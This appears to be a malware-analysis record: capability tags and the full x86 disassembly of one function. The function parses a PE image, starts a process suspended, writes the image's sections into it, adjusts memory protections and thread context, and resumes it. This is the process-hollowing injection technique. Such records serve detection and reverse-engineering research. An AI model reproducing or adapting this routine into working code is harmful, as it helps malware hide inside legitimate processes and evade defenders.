Function at 0x1001b64c
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd38
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c8], ecx
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2c0], ecx
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x2b8], ecx
mov dword [ebp - 0x2b0], ecx
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x2a8], ecx
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.10004858
mov eax, dword [ebp - 8]
call fcn.100053c0
xor eax, eax
push ebp
push 0x1001ba7e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x1005188c
mov edx, 0x1001ba98
call fcn.10008820
lea edx, [ebp - 0x2ac]
call fcn.10008990
mov edx, dword [ebp - 0x2ac]
mov eax, 0x1005188c
call fcn.10008820
lea edx, [ebp - 0x2a8]
call fcn.10008990
mov eax, dword [ebp - 0x2a8]
call fcn.1001b15c
mov byte [ebp - 9], 0
xor eax, eax
push ebp
push 0x1001ba28
push dword fs:[eax]
mov dword fs:[eax], esp
call 0x1001b63c
lea edx, [ebp - 0x2b4]
mov eax, 0x20
call fcn.1000818c
mov eax, dword [ebp - 0x2b4]
call fcn.100082c8
add eax, 0x20
lea edx, [ebp - 0x2b0]
call fcn.1000818c
mov eax, dword [ebp - 0x2b0]
call fcn.100082c8
push eax
lea edx, [ebp - 0x2b8]
xor eax, eax
call fcn.1000818c
mov eax, dword [ebp - 0x2b8]
call fcn.100082c8
mov edx, dword [ebp - 8]
add edx, eax
lea eax, [ebp - 0x64]
pop ecx
call fcn.1001b150
cmp word [ebp - 0x64], 0x5a4d
jne 0x1001ba1e
lea edx, [ebp - 0x2bc]
mov eax, 0x64
call fcn.1000818c
mov eax, dword [ebp - 0x2bc]
call fcn.100082c8
mov ecx, eax
add ecx, 0x94
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x28]
lea edx, [eax + edx]
lea eax, [ebp - 0x15c]
call fcn.1001b150
cmp dword [ebp - 0x15c], 0x4550
jne 0x1001ba1e
call 0x1001b63c
lea eax, [ebp - 0x1d8]
xor ecx, ecx
mov edx, 0x44
call fcn.1000304c
lea eax, [ebp - 0x194]
xor ecx, ecx
mov edx, 0x10
call fcn.1000304c
mov dword [ebp - 0x1d8], 0x44
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0x1d8]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.10004868
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x1001ba1e
mov dword [ebp - 0x2a4], 0x10007
lea eax, [ebp - 0x2a4]
push eax
mov eax, dword [ebp - 0x190]
push eax
call dword [0x10061298]
test al, al
je 0x1001ba1e
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x2c0]
mov eax, 4
call fcn.1000818c
mov eax, dword [ebp - 0x2c0]
call fcn.100082c8
push eax
lea eax, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x2c4]
mov eax, 8
call fcn.1000818c
mov eax, dword [ebp - 0x2c4]
call fcn.100082c8
cdq
push edx
push eax
mov eax, dword [ebp - 0x200]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x194]
push eax
call dword [0x100612a4]
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x194]
push eax
call dword [0x10061294]
push 4
push 0x3000
mov eax, dword [ebp - 0x10c]
push eax
mov eax, dword [ebp - 0x128]
push eax
mov eax, dword [ebp - 0x194]
push eax
call dword [0x100612ac]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x108]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x194]
push eax
call dword [0x100612a8]
mov eax, dword [ebp - 0x28]
add eax, 0xf8
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0x156]
dec eax
test eax, eax
jl 0x1001b9af
inc eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x20]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
shl eax, 3
lea eax, [eax + eax*4]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [ebp - 8]
add edx, eax
lea eax, [ebp - 0x184]
mov ecx, 0x28
call fcn.1001b150
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x174]
push eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x170]
add eax, edx
push eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x178]
push eax
mov eax, dword [ebp - 0x194]
push eax
call dword [0x100612a8]
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov eax, dword [ebp - 0x17c]
push eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x178]
push eax
mov eax, dword [ebp - 0x194]
push eax
call sub.kernel32.dll_VirtualProtectEx
inc dword [ebp - 0x18]
dec dword [ebp - 0x24]
jne 0x1001b922
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x2c8]
mov eax, 4
call fcn.1000818c
mov eax, dword [ebp - 0x2c8]
call fcn.100082c8
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x200]
add eax, 8
push eax
mov eax, dword [ebp - 0x194]
push eax
call dword [0x100612a8]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x134]
mov dword [ebp - 0x1f4], eax
lea eax, [ebp - 0x2a4]
push eax
mov eax, dword [ebp - 0x190]
push eax
call dword [0x1006129c]
mov eax, dword [ebp - 0x190]
push eax
call dword [0x100612b0]
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1001ba4a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1001ba85
lea eax, [ebp - 0x2c8]
mov edx, 9
call fcn.100043cc
lea eax, [ebp - 8]
mov edx, dword [0x1001adb4]
call fcn.1000535c
lea eax, [ebp - 4]
call fcn.100043a8
ret